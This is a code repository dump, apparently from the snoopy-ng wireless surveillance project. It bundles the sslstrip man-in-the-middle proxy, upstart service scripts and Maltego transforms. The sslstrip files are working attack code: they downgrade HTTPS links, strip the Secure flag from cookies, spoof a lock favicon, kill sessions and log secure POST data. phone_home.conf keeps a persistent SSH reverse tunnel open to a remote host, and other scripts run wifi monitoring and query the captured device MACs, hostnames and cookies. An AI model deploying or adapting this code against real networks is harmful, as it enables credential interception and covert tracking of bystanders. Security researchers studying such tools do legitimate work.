13 | license = 'GPL',
14 | packages = ["sslstrip"],
15 | package_dir = {'sslstrip' : 'sslstrip/'},
16 | scripts = ['sslstrip/sslstrip'],
17 | data_files = [('share/sslstrip', ['README', 'COPYING', 'lock.ico'])],
18 | )
19 |
20 | print "Cleaning up..."
21 | try:
22 | removeall("build/")
23 | os.rmdir("build/")
24 | except:
25 | pass
26 |
27 | try:
28 | os.remove("sslstrip/sslstrip")
29 | except:
30 | pass
31 |
32 | def capture(cmd):
33 | return os.popen(cmd).read().strip()
34 |
35 | def removeall(path):
36 | if not os.path.isdir(path):
37 | return
38 |
39 | files=os.listdir(path)
40 |
41 | for x in files:
42 | fullpath=os.path.join(path, x)
43 | if os.path.isfile(fullpath):
44 | f=os.remove
45 | rmgeneric(fullpath, f)
46 | elif os.path.isdir(fullpath):
47 | removeall(fullpath)
48 | f=os.rmdir
49 | rmgeneric(fullpath, f)
50 |
51 | def rmgeneric(path, __func__):
52 | try:
53 | __func__(path)
54 | except OSError, (errno, strerror):
55 | pass
56 |
--------------------------------------------------------------------------------
/setup/sslstripSnoopy/sslstrip.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | """sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks."""
4 |
5 | __author__ = "Moxie Marlinspike"
6 | __email__ = "moxie@thoughtcrime.org"
7 | __license__= """
8 | Copyright (c) 2004-2009 Moxie Marlinspike
9 |
10 | This program is free software; you can redistribute it and/or
11 | modify it under the terms of the GNU General Public License as
12 | published by the Free Software Foundation; either version 3 of the
13 | License, or (at your option) any later version.
14 |
15 | This program is distributed in the hope that it will be useful, but
16 | WITHOUT ANY WARRANTY; without even the implied warranty of
17 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
18 | General Public License for more details.
19 |
20 | You should have received a copy of the GNU General Public License
21 | along with this program; if not, write to the Free Software
22 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
23 | USA
24 |
25 | """
26 |
27 | from twisted.web import http
28 | from twisted.internet import reactor
29 |
30 | from sslstrip.StrippingProxy import StrippingProxy
31 | from sslstrip.URLMonitor import URLMonitor
32 | from sslstrip.CookieCleaner import CookieCleaner
33 |
34 | import sys, getopt, logging, traceback, string, os
35 |
36 | gVersion = "0.9"
37 |
38 | def usage():
39 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike"
40 | print "Usage: sslstrip \n"
41 | print "Options:"
42 | print "-w , --write= Specify file to log to (optional)."
43 | print "-p , --post Log only SSL POSTs. (default)"
44 | print "-s , --ssl Log all SSL traffic to and from server."
45 | print "-a , --all Log all SSL and HTTP traffic to and from server."
46 | print "-l , --listen= Port to listen on (default 10000)."
47 | print "-f , --favicon Substitute a lock favicon on secure requests."
48 | print "-k , --killsessions Kill sessions in progress."
49 | print "-h Print this help message."
50 | print ""
51 |
52 | def parseOptions(argv):
53 | logFile = 'sslstrip.log'
54 | logLevel = logging.WARNING
55 | listenPort = 10000
56 | spoofFavicon = False
57 | killSessions = False
58 |
59 | try:
60 | opts, args = getopt.getopt(argv, "hw:l:psafk",
61 | ["help", "write=", "post", "ssl", "all", "listen=",
62 | "favicon", "killsessions"])
63 |
64 | for opt, arg in opts:
65 | if opt in ("-h", "--help"):
66 | usage()
67 | sys.exit()
68 | elif opt in ("-w", "--write"):
69 | logFile = arg
70 | elif opt in ("-p", "--post"):
71 | logLevel = logging.WARNING
72 | elif opt in ("-s", "--ssl"):
73 | logLevel = logging.INFO
74 | elif opt in ("-a", "--all"):
75 | logLevel = logging.DEBUG
76 | elif opt in ("-l", "--listen"):
77 | listenPort = arg
78 | elif opt in ("-f", "--favicon"):
79 | spoofFavicon = True
80 | elif opt in ("-k", "--killsessions"):
81 | killSessions = True
82 |
83 | return (logFile, logLevel, listenPort, spoofFavicon, killSessions)
84 |
85 | except getopt.GetoptError:
86 | usage()
87 | sys.exit(2)
88 |
89 | def main(argv):
90 | (logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv)
91 |
92 | logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s',
93 | filename=logFile, filemode='a')
94 |
95 | URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon)
96 | CookieCleaner.getInstance().setEnabled(killSessions)
97 |
98 | strippingFactory = http.HTTPFactory(timeout=10)
99 | strippingFactory.protocol = StrippingProxy
100 |
101 | reactor.listenTCP(int(listenPort), strippingFactory)
102 |
103 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..."
104 |
105 | reactor.run()
106 |
107 | if __name__ == '__main__':
108 | main(sys.argv[1:])
109 |
--------------------------------------------------------------------------------
/setup/sslstripSnoopy/sslstrip/CookieCleaner.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2011 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging
20 | import string
21 |
22 | class CookieCleaner:
23 | '''This class cleans cookies we haven't seen before. The basic idea is to
24 | kill sessions, which isn't entirely straight-forward. Since we want this to
25 | be generalized, there's no way for us to know exactly what cookie we're trying
26 | to kill, which also means we don't know what domain or path it has been set for.
27 |
28 | The rule with cookies is that specific overrides general. So cookies that are
29 | set for mail.foo.com override cookies with the same name that are set for .foo.com,
30 | just as cookies that are set for foo.com/mail override cookies with the same name
31 | that are set for foo.com/
32 |
33 | The best we can do is guess, so we just try to cover our bases by expiring cookies
34 | in a few different ways. The most obvious thing to do is look for individual cookies
35 | and nail the ones we haven't seen coming from the server, but the problem is that cookies are often
36 | set by Javascript instead of a Set-Cookie header, and if we block those the site
37 | will think cookies are disabled in the browser. So we do the expirations and whitlisting
38 | based on client,server tuples. The first time a client hits a server, we kill whatever
39 | cookies we see then. After that, we just let them through. Not perfect, but pretty effective.
40 |
41 | '''
42 |
43 | _instance = None
44 |
45 | def getInstance():
46 | if CookieCleaner._instance == None:
47 | CookieCleaner._instance = CookieCleaner()
48 |
49 | return CookieCleaner._instance
50 |
51 | getInstance = staticmethod(getInstance)
52 |
53 | def __init__(self):
54 | self.cleanedCookies = set();
55 | self.enabled = False
56 |
57 | def setEnabled(self, enabled):
58 | self.enabled = enabled
59 |
60 | def isClean(self, method, client, host, headers):
61 | if method == "POST": return True
62 | if not self.enabled: return True
63 | if not self.hasCookies(headers): return True
64 |
65 | return (client, self.getDomainFor(host)) in self.cleanedCookies
66 |
67 | def getExpireHeaders(self, method, client, host, headers, path):
68 | domain = self.getDomainFor(host)
69 | self.cleanedCookies.add((client, domain))
70 |
71 | expireHeaders = []
72 |
73 | for cookie in headers['cookie'].split(";"):
74 | cookie = cookie.split("=")[0].strip()
75 | expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path)
76 | expireHeaders.extend(expireHeadersForCookie)
77 |
78 | return expireHeaders
79 |
80 | def hasCookies(self, headers):
81 | return 'cookie' in headers
82 |
83 | def getDomainFor(self, host):
84 | hostParts = host.split(".")
85 | return "." + hostParts[-2] + "." + hostParts[-1]
86 |
87 | def getExpireCookieStringFor(self, cookie, host, domain, path):
88 | pathList = path.split("/")
89 | expireStrings = list()
90 |
91 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain +
92 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
93 |
94 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host +
95 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
96 |
97 | if len(pathList) > 2:
98 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" +
99 | domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
100 |
101 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" +
102 | host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
103 |
104 | return expireStrings
105 |
106 |
107 |
--------------------------------------------------------------------------------
/setup/sslstripSnoopy/sslstrip/DnsCache.py:
--------------------------------------------------------------------------------
1 |
2 | class DnsCache:
3 |
4 | '''
5 | The DnsCache maintains a cache of DNS lookups, mirroring the browser experience.
6 | '''
7 |
8 | _instance = None
9 |
10 | def __init__(self):
11 | self.cache = {}
12 |
13 | def cacheResolution(self, host, address):
14 | self.cache[host] = address
15 |
16 | def getCachedAddress(self, host):
17 | if host in self.cache:
18 | return self.cache[host]
19 |
20 | return None
21 |
22 | def getInstance():
23 | if DnsCache._instance == None:
24 | DnsCache._instance = DnsCache()
25 |
26 | return DnsCache._instance
27 |
28 | getInstance = staticmethod(getInstance)
29 |
--------------------------------------------------------------------------------
/setup/sslstripSnoopy/sslstrip/SSLServerConnection.py~:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging, re, string
20 |
21 | from ServerConnection import ServerConnection
22 |
23 | class SSLServerConnection(ServerConnection):
24 |
25 | '''
26 | For SSL connections to a server, we need to do some additional stripping. First we need
27 | to make note of any relative links, as the server will be expecting those to be requested
28 | via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies.
29 | '''
30 |
31 | cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE)
32 | cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE)
33 | iconExpression = re.compile(r"", re.IGNORECASE)
34 | linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE)
35 | headExpression = re.compile(r"", re.IGNORECASE)
36 |
37 | def __init__(self, command, uri, postData, headers, client):
38 | self.client = client
39 | ServerConnection.__init__(self, command, uri, postData, headers, client)
40 |
41 | def getLogLevel(self):
42 | return logging.INFO
43 |
44 | def getPostPrefix(self):
45 | return "SECURE POST"
46 |
47 | def handleHeader(self, key, value):
48 | if (key.lower() == 'set-cookie'):
49 | value = SSLServerConnection.cookieExpression.sub("\g<1>", value)
50 |
51 | ServerConnection.handleHeader(self, key, value)
52 |
53 | def stripFileFromPath(self, path):
54 | (strippedPath, lastSlash, file) = path.rpartition('/')
55 | return strippedPath
56 |
57 | def buildAbsoluteLink(self, link):
58 | absoluteLink = ""
59 |
60 | if ((not link.startswith('http')) and (not link.startswith('/'))):
61 | absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link
62 |
63 | logging.debug("Found path-relative link in secure transmission: " + link % (self.client.getClientIP()))
64 | logging.debug("New Absolute path-relative link: " + absoluteLink % (self.clien.getClientIP()))
65 | elif not link.startswith('http'):
66 | absoluteLink = "http://"+self.headers['host']+link
67 |
68 | logging.debug("Found relative link in secure transmission: " + link % (self.client.getClientIP()))
69 | logging.debug("New Absolute link: " + absoluteLink % (self.client.getClientIP()))
70 |
71 | if not absoluteLink == "":
72 | absoluteLink = absoluteLink.replace('&', '&')
73 | self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink);
74 |
75 | def replaceCssLinks(self, data):
76 | iterator = re.finditer(SSLServerConnection.cssExpression, data)
77 |
78 | for match in iterator:
79 | self.buildAbsoluteLink(match.group(1))
80 |
81 | return data
82 |
83 | def replaceFavicon(self, data):
84 | match = re.search(SSLServerConnection.iconExpression, data)
85 |
86 | if (match != None):
87 | data = re.sub(SSLServerConnection.iconExpression,
88 | "", data)
89 | else:
90 | data = re.sub(SSLServerConnection.headExpression,
91 | "", data)
92 |
93 | return data
94 |
95 | def replaceSecureLinks(self, data):
96 | data = ServerConnection.replaceSecureLinks(self, data)
97 | data = self.replaceCssLinks(data)
98 |
99 | if (self.urlMonitor.isFaviconSpoofing()):
100 | data = self.replaceFavicon(data)
101 |
102 | iterator = re.finditer(SSLServerConnection.linkExpression, data)
103 |
104 | for match in iterator:
105 | self.buildAbsoluteLink(match.group(10))
106 |
107 | return data
108 |
--------------------------------------------------------------------------------
/setup/sslstripSnoopy/sslstrip/ServerConnectionFactory.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging
20 | from twisted.internet.protocol import ClientFactory
21 |
22 | class ServerConnectionFactory(ClientFactory):
23 |
24 | def __init__(self, command, uri, postData, headers, client):
25 | self.command = command
26 | self.uri = uri
27 | self.postData = postData
28 | self.headers = headers
29 | self.client = client
30 |
31 | def buildProtocol(self, addr):
32 | return self.protocol(self.command, self.uri, self.postData, self.headers, self.client)
33 |
34 | def clientConnectionFailed(self, connector, reason):
35 | logging.debug("Client:%s Server connection failed." % (self.client.getClientIP()))
36 |
37 | destination = connector.getDestination()
38 |
39 | if (destination.port != 443):
40 | logging.debug("Client:%s Retrying via SSL" % (self.client.getClientIP()))
41 | self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443)
42 | else:
43 | self.client.finish()
44 |
45 |
--------------------------------------------------------------------------------
/setup/sslstripSnoopy/sslstrip/StrippingProxy.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | from twisted.web.http import HTTPChannel
20 | from ClientRequest import ClientRequest
21 |
22 | class StrippingProxy(HTTPChannel):
23 | '''sslstrip is, at heart, a transparent proxy server that does some unusual things.
24 | This is the basic proxy server class, where we get callbacks for GET and POST methods.
25 | We then proxy these out using HTTP or HTTPS depending on what information we have about
26 | the (connection, client_address) tuple in our cache.
27 | '''
28 |
29 | requestFactory = ClientRequest
30 |
--------------------------------------------------------------------------------
/setup/sslstripSnoopy/sslstrip/URLMonitor.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import re
20 |
21 | class URLMonitor:
22 |
23 | '''
24 | The URL monitor maintains a set of (client, url) tuples that correspond to requests which the
25 | server is expecting over SSL. It also keeps track of secure favicon urls.
26 | '''
27 |
28 | # Start the arms race, and end up here...
29 | javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")]
30 | _instance = None
31 |
32 | def __init__(self):
33 | self.strippedURLs = set()
34 | self.strippedURLPorts = {}
35 | self.faviconReplacement = False
36 |
37 | def isSecureLink(self, client, url):
38 | for expression in URLMonitor.javascriptTrickery:
39 | if (re.match(expression, url)):
40 | return True
41 |
42 | return (client,url) in self.strippedURLs
43 |
44 | def getSecurePort(self, client, url):
45 | if (client,url) in self.strippedURLs:
46 | return self.strippedURLPorts[(client,url)]
47 | else:
48 | return 443
49 |
50 | def addSecureLink(self, client, url):
51 | methodIndex = url.find("//") + 2
52 | method = url[0:methodIndex]
53 |
54 | pathIndex = url.find("/", methodIndex)
55 | host = url[methodIndex:pathIndex]
56 | path = url[pathIndex:]
57 |
58 | port = 443
59 | portIndex = host.find(":")
60 |
61 | if (portIndex != -1):
62 | host = host[0:portIndex]
63 | port = host[portIndex+1:]
64 | if len(port) == 0:
65 | port = 443
66 |
67 | url = method + host + path
68 |
69 | self.strippedURLs.add((client, url))
70 | self.strippedURLPorts[(client, url)] = int(port)
71 |
72 | def setFaviconSpoofing(self, faviconSpoofing):
73 | self.faviconSpoofing = faviconSpoofing
74 |
75 | def isFaviconSpoofing(self):
76 | return self.faviconSpoofing
77 |
78 | def isSecureFavicon(self, client, url):
79 | return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1))
80 |
81 | def getInstance():
82 | if URLMonitor._instance == None:
83 | URLMonitor._instance = URLMonitor()
84 |
85 | return URLMonitor._instance
86 |
87 | getInstance = staticmethod(getInstance)
88 |
--------------------------------------------------------------------------------
/setup/sslstripSnoopy/sslstrip/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/snoopy-ng/eac73f545952583af96c6ae8980e9ffeb8b972bc/setup/sslstripSnoopy/sslstrip/__init__.py
--------------------------------------------------------------------------------
/setup/sslstripSnoopy/sslstrip1.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | """sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks."""
4 |
5 | __author__ = "Moxie Marlinspike"
6 | __email__ = "moxie@thoughtcrime.org"
7 | __license__= """
8 | Copyright (c) 2004-2009 Moxie Marlinspike
9 |
10 | This program is free software; you can redistribute it and/or
11 | modify it under the terms of the GNU General Public License as
12 | published by the Free Software Foundation; either version 3 of the
13 | License, or (at your option) any later version.
14 |
15 | This program is distributed in the hope that it will be useful, but
16 | WITHOUT ANY WARRANTY; without even the implied warranty of
17 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
18 | General Public License for more details.
19 |
20 | You should have received a copy of the GNU General Public License
21 | along with this program; if not, write to the Free Software
22 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
23 | USA
24 |
25 | """
26 |
27 | from twisted.web import http
28 | from twisted.internet import reactor
29 |
30 | from sslstrip.StrippingProxy import StrippingProxy
31 | from sslstrip.URLMonitor import URLMonitor
32 | from sslstrip.CookieCleaner import CookieCleaner
33 |
34 | import sys, getopt, logging, traceback, string, os
35 |
36 | gVersion = "0.9"
37 |
38 | def usage():
39 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike"
40 | print "Usage: sslstrip \n"
41 | print "Options:"
42 | print "-w , --write= Specify file to log to (optional)."
43 | print "-p , --post Log only SSL POSTs. (default)"
44 | print "-s , --ssl Log all SSL traffic to and from server."
45 | print "-a , --all Log all SSL and HTTP traffic to and from server."
46 | print "-l , --listen= Port to listen on (default 10000)."
47 | print "-f , --favicon Substitute a lock favicon on secure requests."
48 | print "-k , --killsessions Kill sessions in progress."
49 | print "-h Print this help message."
50 | print ""
51 |
52 | def parseOptions(argv):
53 | logFile = 'sslstrip.log'
54 | logLevel = logging.WARNING
55 | listenPort = 10000
56 | spoofFavicon = False
57 | killSessions = False
58 |
59 | try:
60 | opts, args = getopt.getopt(argv, "hw:l:psafk",
61 | ["help", "write=", "post", "ssl", "all", "listen=",
62 | "favicon", "killsessions"])
63 |
64 | for opt, arg in opts:
65 | if opt in ("-h", "--help"):
66 | usage()
67 | sys.exit()
68 | elif opt in ("-w", "--write"):
69 | logFile = arg
70 | elif opt in ("-p", "--post"):
71 | logLevel = logging.WARNING
72 | elif opt in ("-s", "--ssl"):
73 | logLevel = logging.INFO
74 | elif opt in ("-a", "--all"):
75 | logLevel = logging.DEBUG
76 | elif opt in ("-l", "--listen"):
77 | listenPort = arg
78 | elif opt in ("-f", "--favicon"):
79 | spoofFavicon = True
80 | elif opt in ("-k", "--killsessions"):
81 | killSessions = True
82 |
83 | return (logFile, logLevel, listenPort, spoofFavicon, killSessions)
84 |
85 | except getopt.GetoptError:
86 | usage()
87 | sys.exit(2)
88 |
89 | def main(argv):
90 | print argv
91 | print type(argv)
92 |
93 | (logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv)
94 |
95 | logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s',
96 | filename=logFile, filemode='a')
97 |
98 | URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon)
99 | CookieCleaner.getInstance().setEnabled(killSessions)
100 |
101 | strippingFactory = http.HTTPFactory(timeout=10)
102 | strippingFactory.protocol = StrippingProxy
103 |
104 | reactor.listenTCP(int(listenPort), strippingFactory)
105 |
106 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..."
107 |
108 | reactor.run()
109 |
110 | if __name__ == '__main__':
111 | main(sys.argv[1:])
112 |
--------------------------------------------------------------------------------
/setup/upstarts/README.txt:
--------------------------------------------------------------------------------
1 | These upstart script should be placed in /etc/init/ . Ensure you change the SETTINGS file for your needs.
2 |
--------------------------------------------------------------------------------
/setup/upstarts/SETTINGS:
--------------------------------------------------------------------------------
1 | drone=
2 | sync_server=http://
3 | key=
4 | location=
5 |
6 | ssh_user=phonehome
7 | ssh_host=
8 | ssh_port=22
9 | remote_base_port=3300
10 | remote_port=$(($remote_base_port + $drone_num))
11 | monitor_port=$(($remote_port + 1000))
12 | ssh_keyfile=/home/ubuntu/.ssh/id_rsa
13 |
14 | APN="payandgo.o2.co.uk" #For 3G connectivity with Sakis. You may have to fiddle with sakis.conf for your needs
15 |
--------------------------------------------------------------------------------
/setup/upstarts/ntp_update.conf:
--------------------------------------------------------------------------------
1 | #Part of the snoopy_ng project
2 |
3 | author "Glenn Wilkinson "
4 | description "Keep time correctly set."
5 |
6 | start on runlevel [2345]
7 | stop on runlevel [!2345]
8 | respawn
9 |
10 | script
11 | server="ntp.ubuntu.com"
12 | while [ 1 ];
13 | do
14 | ntpdate ntp.ubuntu.com 2>&1 | logger -t sng_ntp
15 | sleep 60
16 | done
17 |
18 | end script
19 |
--------------------------------------------------------------------------------
/setup/upstarts/phone_home.conf:
--------------------------------------------------------------------------------
1 | # SSH Phone Home
2 | # Part of snoopy_ng
3 |
4 | author "Glenn Wilkinson "
5 | description "SSH phone home reverse tunnel service"
6 |
7 | start on filesystem or runlevel [2345]
8 | stop on runlevel [!2345]
9 | respawn
10 |
11 | script
12 | . /etc/init/SETTINGS
13 |
14 | echo "Attempting to initiate auto SSH tunnel ($ssh_user@$ssh_host, with remote tunnel listen port of $remote_port)" | logger -t sng_phonehome
15 | autossh -M $monitor_port -N -R $remote_port:localhost:22 $ssh_user@$ssh_host -i $ssh_keyfile -o ServerAliveInterval=10 -o ServerAliveCountMax=1
16 | echo "autossh died" | logger -t sng_phonehome
17 | sleep 20
18 |
19 | end script
20 |
--------------------------------------------------------------------------------
/setup/upstarts/sakis.conf:
--------------------------------------------------------------------------------
1 | # Part of snoopy_ng
2 |
3 | author "Glenn Wilkinson "
4 | description "Maintain 3G Connection with Sakis"
5 |
6 | start on runlevel [2345]
7 | stop on runlevel [!2345]
8 | respawn
9 |
10 | script
11 | . /etc/init/SETTINGS
12 | CHECK_CONN=300 #Seconds
13 | while [ 1 ];
14 | do
15 | sudo sakis3g connect APN=$APN USBINTERFACE="0" | logger -t sng_sakis_upstart
16 | sleep $CHECK_CONN
17 | done
18 |
19 | end script
20 |
--------------------------------------------------------------------------------
/setup/upstarts/snoopy.conf:
--------------------------------------------------------------------------------
1 | # Part of snoopy_ng
2 |
3 | description "Snoopy"
4 | author "Glenn Wilkinson "
5 | description "Start snoopy_ng"
6 |
7 | start on runlevel [2345]
8 | stop on runlevel [!2345]
9 | respawn
10 |
11 | script
12 | . /etc/init/SETTINGS
13 | timeout 20 bash -c "until echo 1 | nc www.google.com 80 &>1 /dev/null; do sleep 2; done"
14 | if [ $? -ne "0" ]; then echo "No internet connection, shall continue anyway." | logger -t sng_snoopy ; fi
15 | snoopy -m wifi:mon=True -l $location -d $drone 2>&1 | logger -t sng_snoopy #Local copy
16 | #snoopy -m wifi:mon=True -l $location -d $drone -k $key -s $sync_server 2>&1 | logger -t sng_snoopy #Remote copy
17 | end script
18 |
--------------------------------------------------------------------------------
/transforms/MaltegoTransform.py.diff:
--------------------------------------------------------------------------------
1 | @@ -99,11 +99,10 @@
2 | if (self.value is not None):
3 | return self.value;
4 |
5 | - def getVar(self,varName,default=None):
6 | - if (varName in self.values.keys()) and (self.values[varName] is not None):
7 | - return self.values[varName];
8 | - else:
9 | - return default
10 | + def getVar(self,varName):
11 | + if (varName in self.values.keys()):
12 | + if (self.values[varName] is not None):
13 | + return self.values[varName];
14 |
15 | def addEntity(self,enType,enValue):
16 | me = MaltegoEntity(enType,enValue);
17 | @@ -163,11 +162,9 @@
18 |
19 |
20 | def sanitise(value):
21 | - if value is None:
22 | - return ""
23 | replace_these = ["&",">","<"];
24 | replace_with = ["&",">","<"];
25 | tempvalue = value;
26 | for i in range(0,len(replace_these)):
27 | tempvalue = tempvalue.replace(replace_these[i],replace_with[i]);
28 | - return tempvalue;
29 | + return tempvalue;
30 |
--------------------------------------------------------------------------------
/transforms/README.txt:
--------------------------------------------------------------------------------
1 | Three transforms:
2 |
3 | 1. Local
4 |
5 | 2. TDS
6 |
7 | 3. Custom Web
8 |
--------------------------------------------------------------------------------
/transforms/db_path.conf:
--------------------------------------------------------------------------------
1 | sqlite:////root/snoopy-ng/snoopy.db
2 |
--------------------------------------------------------------------------------
/transforms/fetchClients.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com_
4 | # snoopy_ng // 2013
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from MaltegoTransform import *
10 | import logging
11 | from datetime import datetime
12 | from sqlalchemy import create_engine, MetaData, select, and_
13 | from transformCommon import *
14 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
15 |
16 | def main():
17 | # print "Content-type: xml\n\n";
18 | # MaltegoXML_in = sys.stdin.read()
19 | # logging.debug(MaltegoXML_in)
20 | # if MaltegoXML_in <> '':
21 | # m = MaltegoMsg(MaltegoXML_in)
22 |
23 | #Custom query per transform, but apply filter with and_(*filters) from transformCommon.
24 | #db.echo=True
25 |
26 | #Need to implement outer join at some point:
27 | # s=select([proxs.c.mac]).outerjoin(vends, proxs.c.mac == vends.c.mac) #Outer join
28 |
29 | sl = select([leases.c.mac, leases.c.hostname]).distinct()
30 | lease_list = dict ( db.execute(sl).fetchall() )
31 |
32 | #filters.append(proxs.c.mac == vends.c.mac) # Replaced with JOIN
33 | j = proxs.outerjoin(vends, proxs.c.mac == vends.c.mac)
34 | s = select([proxs.c.mac,vends.c.vendor, vends.c.vendorLong], and_(*filters)).select_from(j).distinct()
35 | logging.debug(s)
36 | #s = select([proxs.c.mac,vends.c.vendor, vends.c.vendorLong], and_(*filters))
37 | if ssid:
38 | nfilters=[]
39 | nfilters.append(ssids.c.ssid == ssid)
40 | nfilters.append(ssids.c.mac == vends.c.mac)
41 | s = select([ssids.c.mac,vends.c.vendor, vends.c.vendorLong], and_(*nfilters))
42 |
43 | #logging.debug(s)
44 | #s = select([proxs.c.mac,vends.c.vendor, vends.c.vendorLong], and_(proxs.c.mac == vends.c.mac, proxs.c.num_probes>1 ) ).distinct()
45 |
46 | cwdF = [cookies.c.run_id == sess.c.run_id]
47 | cw = select([cookies.c.client_mac], and_(*cwdF))
48 | logging.debug(cw)
49 |
50 | r = db.execute(s)
51 | results = r.fetchall()
52 | TRX = MaltegoTransform()
53 | for mac,vendor,vendorLong in results:
54 | hostname = lease_list.get(mac)
55 |
56 | if hostname:
57 | NewEnt=TRX.addEntity("snoopy.Client", "%s\n(%s)" %(vendor,hostname))
58 | else:
59 | NewEnt=TRX.addEntity("snoopy.Client", "%s\n(%s)" %(vendor,mac[6:]))
60 | NewEnt.addAdditionalFields("mac","mac address", "strict",mac)
